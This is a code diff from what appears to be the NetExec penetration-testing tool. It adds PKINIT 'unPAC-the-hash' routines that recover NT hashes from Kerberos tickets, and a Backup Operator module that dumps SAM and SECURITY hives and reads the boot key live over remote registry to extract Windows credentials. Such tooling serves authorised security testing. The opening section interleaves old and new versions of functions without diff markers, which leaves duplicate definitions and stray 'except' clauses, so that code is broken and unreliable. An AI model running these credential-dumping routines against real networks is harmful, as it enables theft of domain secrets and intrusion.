encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0]
adIfRelevant = decoder.decode(encTicketPart["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[
0]
# So here we have the PAC
pacType = PACTYPE(adIfRelevant[0]["ad-data"].asOctets())
buff = pacType["Buffers"]
found = False
for _bufferN in range(pacType["cBuffers"]):
infoBuffer = PAC_INFO_BUFFER(buff)
data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]]
nxc_logger.debug(f"TYPE 0x{infoBuffer['ulType']}")
if infoBuffer["ulType"] == 2:
found = True
credinfo = PAC_CREDENTIAL_INFO(data)
newCipher = _enctype_table[credinfo["EncryptionType"]]
out = newCipher.decrypt(key, 16, credinfo["SerializedData"])
type1 = TypeSerialization1(out)
# I'm skipping here 4 bytes with its the ReferentID for the pointer
newdata = out[len(type1) + 4:]
pcc = PAC_CREDENTIAL_DATA(newdata)
for cred in pcc["Credentials"]:
credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
nxc_logger.info("Recovered NT Hash")
nxc_logger.info(hexlify(credstruct["NtPassword"]).decode("utf-8"))
nthash = hexlify(credstruct["NtPassword"]).decode("utf-8")
buff = buff[len(infoBuffer):]
if not found:
nxc_logger.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?")
return nthash
def __init__(self, username, domain, kdcHost, key, tgt):
self.__username = username
self.__domain = domain.upper()
self.__kdcHost = kdcHost
self.__asrep_key = key
self.__tgt = tgt["KDC_REP"]
self.__cipher = tgt["cipher"]
self.__sessionKey = tgt["sessionKey"]
def dump(self):
# Try all requested protocols until one works.
tgt = self.__tgt
cipher = self.__cipher
sessionKey = self.__sessionKey
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT["ticket"])
apReq = AP_REQ()
apReq["pvno"] = 5
apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
apReq["ap-options"] = constants.encodeFlags(opts)
seq_set(apReq, "ticket", ticket.to_asn1)
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = str(decodedTGT["crealm"])
clientName = Principal()
clientName.from_asn1(decodedTGT, "crealm", "cname")
seq_set(authenticator, "cname", clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
nxc_logger.debug("AUTHENTICATOR")
nxc_logger.debug(authenticator.prettyPrint() + "\n")
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq["authenticator"] = noValue
apReq["authenticator"]["etype"] = cipher.enctype
apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq["pvno"] = 5
tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq["padata"] = noValue
tgsReq["padata"][0] = noValue
tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq["padata"][0]["padata-value"] = encodedApReq
reqBody = seq_set(tgsReq, "req-body")
opts = []
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
reqBody["kdc-options"] = constants.encodeFlags(opts)
serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(reqBody, "sname", serverName.components_to_asn1)
reqBody["realm"] = str(decodedTGT["crealm"])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody["till"] = KerberosTime.to_asn1(now)
reqBody["nonce"] = random.getrandbits(31)
seq_set_iter(reqBody, "etype",
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, "additional-tickets", (myTicket,))
nxc_logger.debug("Final TGS")
nxc_logger.debug(tgsReq.prettyPrint())
message = encoder.encode(tgsReq)
nxc_logger.info("Requesting ticket to self with PAC")
r = sendReceive(message, self.__domain, self.__kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
nxc_logger.debug("TGS_REP")
nxc_logger.debug(tgs.prettyPrint())
cipherText = tgs["ticket"]["enc-part"]["cipher"]
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
# S4USelf + U2U uses this other key
plainText = cipher.decrypt(sessionKey, 2, cipherText)
specialkey = Key(18, unhexlify(self.__asrep_key))
return self.printPac(plainText, specialkey)
def pfx_auth(self):
"""Handles the authentication using a PFX or PEM file"""
# Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason
dhparams = {
"p": int("00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff", 16),
"g": 2
}
self.logger.info("Loading certificate and key from file")
# Load the certificate and key from file
decoded_tgt = decoder.decode(tgt, asn1Spec=AS_REP())[0]
ticket = Ticket()
ticket.from_asn1(decoded_tgt["ticket"])
realm = str(decoded_tgt["crealm"])
now = datetime.datetime.now(datetime.UTC)
client_name = Principal()
client_name.from_asn1(decoded_tgt, "crealm", "cname")
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = realm
seq_set(authenticator, "cname", client_name.components_to_asn1)
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
connection.logger.debug(f"U2U authenticator: {authenticator.prettyPrint()}")
ap_req = AP_REQ()
ap_req["pvno"] = 5
ap_req["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
ap_req["ap-options"] = constants.encodeFlags([])
seq_set(ap_req, "ticket", ticket.to_asn1)
ap_req["authenticator"] = noValue
ap_req["authenticator"]["etype"] = cipher.enctype
# Key usage 7: the AP-REQ authenticator of a PA-TGS-REQ, encrypted with the TGT session key
ap_req["authenticator"]["cipher"] = cipher.encrypt(session_key, 7, encoder.encode(authenticator), None)
tgs_req = TGS_REQ()
tgs_req["pvno"] = 5
tgs_req["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgs_req["padata"] = noValue
tgs_req["padata"][0] = noValue
tgs_req["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgs_req["padata"][0]["padata-value"] = encoder.encode(ap_req)
req_body = seq_set(tgs_req, "req-body")
req_body["kdc-options"] = constants.encodeFlags([constants.KDCOptions.forwardable.value, constants.KDCOptions.renewable.value, constants.KDCOptions.canonicalize.value, constants.KDCOptions.enc_tkt_in_skey.value])
req_body["realm"] = realm
seq_set(req_body, "sname", Principal(username, type=constants.PrincipalNameType.NT_UNKNOWN.value).components_to_asn1)
req_body["till"] = KerberosTime.to_asn1(now + datetime.timedelta(days=1))
req_body["nonce"] = random.getrandbits(31)
seq_set_iter(req_body, "etype", (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
seq_set_iter(req_body, "additional-tickets", (ticket.to_asn1(TicketAsn1()),))
connection.logger.info("Requesting a U2U service ticket to ourselves to read the PAC")
try:
if self.args.pfx_cert or self.args.pfx_base64:
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
elif self.args.pem_cert and self.args.pem_key:
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
else:
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
return None
response = sendReceive(encoder.encode(tgs_req), connection.domain, connection.kdcHost)
tgs_rep = decoder.decode(response, asn1Spec=TGS_REP())[0]
connection.logger.debug(f"U2U TGS-REP: {tgs_rep.prettyPrint()}")
# Key usage 2: with enc-tkt-in-skey the ticket is encrypted with the session key of the TGT sent along
enc_ticket_part = cipher.decrypt(session_key, 2, tgs_rep["ticket"]["enc-part"]["cipher"])
return read_nt_hash_from_pac(connection, enc_ticket_part, reply_key)
except (KerberosError, InvalidChecksum, PyAsn1Error, OSError, IndexError, KeyError) as e: # IndexError: empty AD-IF-RELEVANT, KeyError: unknown etype
connection.logger.fail(f"Failed to unPAC the hash: {e}")
return None
def pfx_auth(self, domain, username):
"""Authenticate with a client certificate through PKINIT, then optionally unPAC the NT hash"""
if not self.kdcHost:
self.logger.fail(f"Could not resolve KDC host for domain {domain}. Use --kdcHost to specify the domain controller IP")
return False
self.logger.info("Loading certificate and key from file")
try:
credentials = pkinit_credentials(self.args)
except FileNotFoundError as e:
self.logger.fail(f"Certificate or key file not found: {e.filename}")
return False
except Exception as e:
except (PKINITError, ValueError) as e:
self.logger.fail(f"Failed to load certificate/key: {e}")
return False
username = self.args.username[0]
basename = f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache"
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{basename}"))
# Request a TGT with the cert data
req = ini.build_asreq(self.domain, username)
self.logger.info("Requesting TGT")
if not self.kdcHost:
self.logger.fail(f"Could not resolve KDC host for domain {self.domain}. Use --kdcHost to specify the domain controller IP")
if credentials is None:
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
return False
sock = KerberosClientSocket(KerberosTarget(self.kdcHost))
self.logger.info(f"Requesting TGT for {username}@{domain} with the certificate")
client_name = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
try:
res = sock.sendrecv(req)
except Exception as e:
self.logger.fail(str(e))
tgt, cipher, reply_key, session_key = getKerberosTGTPKINIT(client_name, domain, credentials, kdcHost=self.kdcHost)
except (PKINITError, KerberosError, OSError) as e:
self.logger.fail(f"Failed to get a TGT with the certificate: {e}")
return False
encasrep, session_key, cipher, key = ini.decrypt_asrep(res.native)
ccache_minikerberos = CCACHE()
ccache_minikerberos.add_tgt(res.native, encasrep)
ccache_minikerberos.to_file(log_ccache)
self.logger.info(f"Saved TGT to file {log_ccache}")
self.logger.info(f"Using Kerberos Cache {log_ccache}")
ccache = impacket_CCache.loadFile(log_ccache)
principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}"
creds = ccache.getCredential(principal)
if creds is not None:
tgt = creds.toTGT()
dumper = GETPAC(username, self.domain, self.kdcHost, key, tgt)
nthash = dumper.dump()
if not self.kerberos:
self.hash_login(self.domain, username, nthash)
else:
self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False)
ccache = CCache()
ccache.fromTGT(tgt, reply_key, session_key)
basename = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache")
ccache_path = os.path.normpath(os.path.expanduser(os.path.join(NXC_PATH, "logs", basename)))
ccache.saveFile(ccache_path)
self.logger.info(f"Saved TGT to {ccache_path}")
self.logger.info("Successfully authenticated using Certificate")
return True
if self.protocol == "winrm": # nxc winrm has no Kerberos login: log in over NTLM with the unPACed hash, as before
nthash = unpac_the_hash(self, username, tgt, cipher, reply_key, session_key)
return bool(nthash) and self.hash_login(domain, username, nthash)
# Impacket reads the TGT of a Kerberos login from the cache this variable points at, for the whole process
os.environ["KRB5CCNAME"] = ccache_path
self.use_kcache = True
logged_in = self.kerberos_login(domain, username, "", "", "", self.kdcHost, True)
if self.protocol == "smb" and self.args.unpac:
nthash = unpac_the_hash(self, username, tgt, cipher, reply_key, session_key)
if nthash:
self.logger.highlight(f"{domain}\\{username} NT hash: {nthash}")
self.db.add_credential("hash", domain, username, nthash)
return logged_in
def certificate_options(args):
"""Return the LDAPConnection certificate options for the command line material, plus a temporary file the caller must delete."""
if args.pfx_cert:
return {"pfxfile": args.pfx_cert, "pfxpass": args.pfx_pass}, None
if args.pem_cert and args.pem_key:
return {"certfile": args.pem_cert, "keyfile": args.pem_key}, None
if args.pfx_base64:
with open(args.pfx_base64, "rb") as pfx_base64_file:
pfxdata = base64.b64decode(pfx_base64_file.read())
# impacket loads the bundle from a path, so the decoded PFX has to hit the disk
handle, pfx_path = tempfile.mkstemp(suffix=".pfx", dir=TMP_PATH)
with os.fdopen(handle, "wb") as pfx_file:
pfx_file.write(pfxdata)
return {"pfxfile": pfx_path, "pfxpass": args.pfx_pass}, pfx_path
raise ValueError("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
+31
View File
@@ -99,3 +99,34 @@ class NXCRPCConnection:
self.setup_credentials(rpc_transport, anonymous_rpc)
return rpc_transport
def dcom_FirewallChecker(iInterface, remoteHost, timeout, logger):
stringBindings = iInterface.get_cinstance().get_string_bindings()
for strBinding in stringBindings:
if strBinding["wTowerId"] == 7:
if strBinding["aNetworkAddr"].find("[") >= 0:
binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
bindingPort = "[" + bindingPort
else:
binding = strBinding["aNetworkAddr"]
bindingPort = ""
if binding.upper().find(iInterface.get_target().upper()) >= 0:
stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
break
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
if "stringBinding" not in locals():
return True, None
try:
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(remoteHost)
rpctransport.set_connect_timeout(timeout)
rpctransport.connect()
rpctransport.disconnect()
except Exception as e:
logger.debug(f"Exception while connecting to {stringBinding}: {e}")
return False, stringBinding
else:
return True, stringBinding
+21
View File
@@ -0,0 +1,21 @@
from impacket.smbconnection import SMBConnection
def get_smb_connection(context, connection, timeout=3):
"""SMB session reusing the credentials of the current connection, or None when it cannot be established.
A certificate-only bind (--schannel) leaves no secret behind, and logging in without
one would count as a bad password attempt on the target, so no session is attempted.
"""
if not connection.has_reusable_secret:
context.log.fail("Cannot open an SMB session: a certificate-only bind (--schannel) provides no password, hash or Kerberos ticket")
return None
smb = SMBConnection(remoteName=connection.remoteName, remoteHost=connection.host, sess_port=445, timeout=timeout)
if connection.kerberos:
smb.kerberosLogin(user=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, aesKey=connection.aesKey, kdcHost=connection.kdcHost, useCache=connection.use_kcache)
elif connection.nthash or connection.lmhash:
smb.login(connection.username, "", connection.domain, lmhash=connection.lmhash, nthash=connection.nthash)
else:
smb.login(connection.username, connection.password, connection.domain)
return smb
+29 -9
View File
@@ -1,3 +1,4 @@
import ast
import nxc
import importlib
import traceback
@@ -6,6 +7,7 @@ import sys
from os import listdir
from os.path import basename, dirname
from os.path import join as path_join
from types import SimpleNamespace
from nxc.context import Context
from nxc.helpers.misc import CATEGORY
@@ -75,12 +77,9 @@ class ModuleLoader:
return cls.module_cache[module_path]
def load_module(self, module_path):
"""Load a module, initializing it and checking that it has the proper attributes"""
"""Load and initialize a module, list_modules() already checked that it has the proper attributes"""
try:
module = self.load_module_file(module_path).NXCModule()
if self.module_is_sane(module, module_path):
return module
return self.load_module_file(module_path).NXCModule()
except Exception as e:
self.logger.fail(f"Failed loading module at {module_path}: {e}")
self.logger.debug(traceback.format_exc())
@@ -132,8 +131,28 @@ class ModuleLoader:
self.logger.fail(f"Failed loading module at {module_path}: {e}")
self.logger.debug(traceback.format_exc())
def list_modules(self):
"""List modules without initializing them"""
def get_module_info_static(self, module_path):
"""Read the listing info of a module from its source without running it, falling back to get_module_info() if it is not plain literals"""
try:
with open(module_path, "rb") as f:
module_class = [node for node in ast.parse(f.read()).body if isinstance(node, ast.ClassDef) and node.name == "NXCModule"][-1]
# ast can't see what a base class or a decorator adds, so these modules are imported
if not module_class.bases and not module_class.decorator_list:
values = {target.id: node.value for node in module_class.body if isinstance(node, ast.Assign) for target in node.targets if isinstance(target, ast.Name)}
module = SimpleNamespace(
**{node.name: node for node in module_class.body if isinstance(node, ast.FunctionDef | ast.AsyncFunctionDef)},
**{key: ast.literal_eval(values[key]) for key in ("name", "description", "supported_protocols")},
category=CATEGORY[values["category"].attr],
)
# No "options" key on purpose: only -M --options reads it, and -M goes through get_module_info()
return {module.name: {"path": module_path, "description": module.description, "supported_protocols": module.supported_protocols, "category": module.category, "requires_admin": hasattr(module, "on_admin_login")}} if self.module_is_sane(module, module_path) else {}
except Exception as e:
self.logger.debug(f"Could not read {module_path} statically: {e}")
return self.get_module_info(module_path)
def list_modules(self, names=None):
"""List modules without initializing them, only the ones in names if given"""
modules = {}
modules_paths = [
path_join(dirname(nxc.__file__), "modules"),
@@ -142,10 +161,11 @@ class ModuleLoader:
for path in modules_paths:
for module in listdir(path):
if module[-3:] == ".py" and module != "example_module.py":
if module[-3:] == ".py" and module != "example_module.py" and (names is None or module[:-3] in names):
try:
module_path = path_join(path, module)
module_data = self.get_module_info(module_path)
# -L reads the shipped modules statically, user modules are still imported so a broken one is reported
module_data = self.get_module_info_static(module_path) if names is None and path == modules_paths[0] else self.get_module_info(module_path)
modules.update(module_data)
except Exception as e:
self.logger.debug(f"Error loading module {module}: {e}")
+95 -6
View File
@@ -1,5 +1,6 @@
import contextlib
import re
from binascii import unhexlify
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
from impacket.smbconnection import SessionError
@@ -23,10 +24,61 @@ class NXCModule:
self.machine_account_hash = None
self.cleanup_user = None
self.cleanup_hash = None
self.system_hive_saved = False
def options(self, context, module_options):
"""NO OPTIONS"""
def get_boot_key(self, context, dce):
"""
Reads the boot key LIVE from the four Lsa subkeys' class-name field over RPC,
using the already-connected `dce` this module sets up for the SAM/SECURITY
hive saves. If this succeeds, no SYSTEM hive is ever saved to SYSVOL or
downloaded at all.
Hand-ported from impacket's RemoteOperations.getBootKey() rather than calling
RemoteOperations directly, because RemoteOperations.enableRegistry() starts the
RemoteRegistry service via the Service Control Manager -- which needs admin-level
rights a plain Backup Operator doesn't have. This module already gets
RemoteRegistry running via trigger_winreg()'s named-pipe trick instead, which
works within Backup Operator's actual privileges (SeBackupPrivilege), so we reuse
that connection here.
Raises on any failure (access denied, path not allowed remotely, RPC error, etc.)
so the caller can fall back to the full SYSTEM hive save/download path.
"""
boot_key = b""
ans = rrp.hOpenLocalMachine(dce)
reg_handle = ans["phKey"]
for key in ["JD", "Skew1", "GBG", "Data"]:
context.log.debug(f"Retrieving class info for Lsa\\{key}")
ans = rrp.hBaseRegOpenKey(
dce,
reg_handle,
f"SYSTEM\\CurrentControlSet\\Control\\Lsa\\{key}",
dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK,
samDesired=rrp.KEY_READ,
)
key_handle = ans["phkResult"]
ans = rrp.hBaseRegQueryInfoKey(dce, key_handle)
class_out = ans["lpClassOut"]
if isinstance(class_out, str):
class_out = class_out.encode()
boot_key += class_out[:-1]
rrp.hBaseRegCloseKey(dce, key_handle)
rrp.hBaseRegCloseKey(dce, reg_handle)
transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
boot_key = unhexlify(boot_key)
final_boot_key = b""
for i in range(len(boot_key)):
final_boot_key += boot_key[transforms[i]:transforms[i] + 1]
return final_boot_key
def on_login(self, context, connection):
connection.args.share = "SYSVOL"
rand_suffix = gen_random_string(8)
@@ -36,8 +88,11 @@ class NXCModule:
connection.trigger_winreg()
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
boot_key = None
try:
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
# Large hives can take minutes to save before the RPC call returns.
connection.conn.setTimeout(max(connection.args.smb_timeout, 60))
for hive in ["HKLM\\SAM", "HKLM\\SECURITY"]:
hRootKey, subKey = self._strip_root_key(dce, hive)
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
@@ -48,17 +103,44 @@ class NXCModule:
except Exception as e:
context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
return
try:
context.log.display("Attempting to retrieve boot key live from the remote registry...")
boot_key = self.get_boot_key(context, dce)
context.log.highlight("Boot key retrieved live -- skipping SYSTEM hive save/download.")
except Exception as e:
context.log.fail(f"Live boot key retrieval failed ({type(e).__name__}: {e}), falling back to full SYSTEM hive download...")
boot_key = None
if boot_key is None:
hRootKey, subKey = self._strip_root_key(dce, "HKLM\\SYSTEM")
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
context.log.debug("Dumping HKLM\\SYSTEM, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
try:
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
context.log.highlight(f"Saved HKLM\\SYSTEM to {outputFileName}")
self.system_hive_saved = True
except Exception as e:
context.log.fail(f"Couldn't save HKLM\\SYSTEM: {e} on path {outputFileName}")
return
except (Exception, KeyboardInterrupt) as e:
context.log.fail(f"Unexpected error: {e}")
return
finally:
connection.conn.setTimeout(connection.args.smb_timeout)
with contextlib.suppress(Exception):
dce.disconnect()
# copy remote file to local
log_path = f"{connection.output_filename}."
for hive in ["SAM", "SECURITY", "SYSTEM"]:
connection.conn.setTimeout(max(connection.args.smb_timeout, 60))
hives_to_download = ["SAM", "SECURITY"]
if self.system_hive_saved:
hives_to_download.append("SYSTEM")
for hive in hives_to_download:
connection.get_file_single(f"{hive}_{rand_suffix}", log_path + hive)
connection.conn.setTimeout(connection.args.smb_timeout)
# read local file
try:
@@ -84,8 +166,10 @@ class NXCModule:
self.machine_account = account_name if account_name.endswith("$") else f"{connection.hostname}$"
return
local_operations = LocalOperations(log_path + "SYSTEM")
boot_key = local_operations.getBootKey()
if boot_key is None:
local_operations = LocalOperations(log_path + "SYSTEM")
boot_key = local_operations.getBootKey()
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=parse_sam)
sam_hashes.dump()
sam_hashes.finish()
@@ -137,7 +221,9 @@ class NXCModule:
connection.create_conn_obj()
if connection.hash_login(connection.domain, username, user_hash):
context.log.display(f"Cleaning dump with user {username} on domain {connection.domain}")
hives = ["SAM", "SECURITY", "SYSTEM"]
hives = ["SAM", "SECURITY"]
if self.system_hive_saved:
hives.append("SYSTEM")
all_deleted = True
for hive in hives:
remote_name = f"{hive}_{rand_suffix}"
@@ -194,7 +280,10 @@ class NXCModule:
return None, None
def _print_cleanup_warning(self, context, rand_suffix):
context.log.fail(f"Files were not automatically deleted. Please clean up manually: C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}, SYSTEM_{rand_suffix}")
paths = f"C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}"
if self.system_hive_saved:
paths += f", SYSTEM_{rand_suffix}"
context.log.fail(f"Files were not automatically deleted. Please clean up manually: {paths}")
def _strip_root_key(self, dce, key_name):
# Let's strip the root key
+116 -141
View File
@@ -1,141 +1,116 @@
import re
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "bitlocker"
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
USAGE:
NetExec smb <IP> -u <username> -p <password> -M bitlocker
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
"""
def on_admin_login(self, context, connection):
if context.protocol == "smb":
bitlocker_smb = BitLockerSMB(context, connection)
bitlocker_smb.check_bitlocker_status()
elif context.protocol == "wmi":
bitlocker_wmi = BitLockerWMI(context, connection)
bitlocker_wmi.check_bitlocker_status()
class BitLockerSMB:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# PowerShell command to check BitLocker volumes status.
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
try:
# Executing the PowerShell command to get BitLocker volumes status.
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
self.context.log.fail("BitLockerVolume not found on target.")
return
# Splitting the output into lines.
lines = str(check_bitlocker_command_str_output).splitlines()
data_lines = [line for line in lines if re.match(r"\w:", line)]
for line in data_lines:
# Checking every line for starting with drive
if line[1] == ":":
parts = line.split()
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
# Checking if BitLocker is enabled.
if protection_status == "On":
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
else:
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
except Exception as e:
self.context.log.exception(f"Exception occurred: {e}")
class BitLockerWMI:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
try:
# Create a DCOM connection
dcom_conn = DCOMConnection(
self.connection.host,
self.connection.username,
self.connection.password,
self.connection.domain,
self.connection.lmhash,
self.connection.nthash,
oxidResolver=True,
doKerberos=self.connection.kerberos,
kdcHost=self.connection.kdcHost)
try:
# CoCreateInstanceEx for WMI login
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
# Specify the namespace for BitLocker
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
# NTLM login for WMI
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
# Set authentication level
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
# Query to get BitLocker status
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
encryptionTypeMapping = {
0: "None",
1: "AES_128_WITH_DIFFUSER",
2: "AES_256_WITH_DIFFUSER",
3: "AES_128",
4: "AES_256",
5: "HARDWARE_ENCRYPTION",
6: "XTS_AES_128",
7: "XTS_AES_256_WITH_DIFFUSER"
}
try:
while True:
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
if iWbemClassObject[0].ProtectionStatus == 1:
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
else:
if encryptionMethod == 0: # Should be 0 if disabled
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
except Exception:
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
# Release resources
iWbemLevel1Login.RemRelease()
iWbemServices.RemRelease()
dcom_conn.disconnect()
except Exception as e:
if "WBEM_E_INVALID_NAMESPACE" in str(e):
self.context.log.fail("BitLockerNamespace not found on target.")
dcom_conn.disconnect()
except Exception as e:
self.context.log.error(f"Error occurred during BitLocker check: {e}")
dcom_conn.disconnect()
import re
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "bitlocker"
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
USAGE:
NetExec smb <IP> -u <username> -p <password> -M bitlocker
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
"""
def on_admin_login(self, context, connection):
if context.protocol == "smb":
bitlocker_smb = BitLockerSMB(context, connection)
bitlocker_smb.check_bitlocker_status()
elif context.protocol == "wmi":
bitlocker_wmi = BitLockerWMI(context, connection)
bitlocker_wmi.check_bitlocker_status()
class BitLockerSMB:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# PowerShell command to check BitLocker volumes status.
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
try:
# Executing the PowerShell command to get BitLocker volumes status.
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
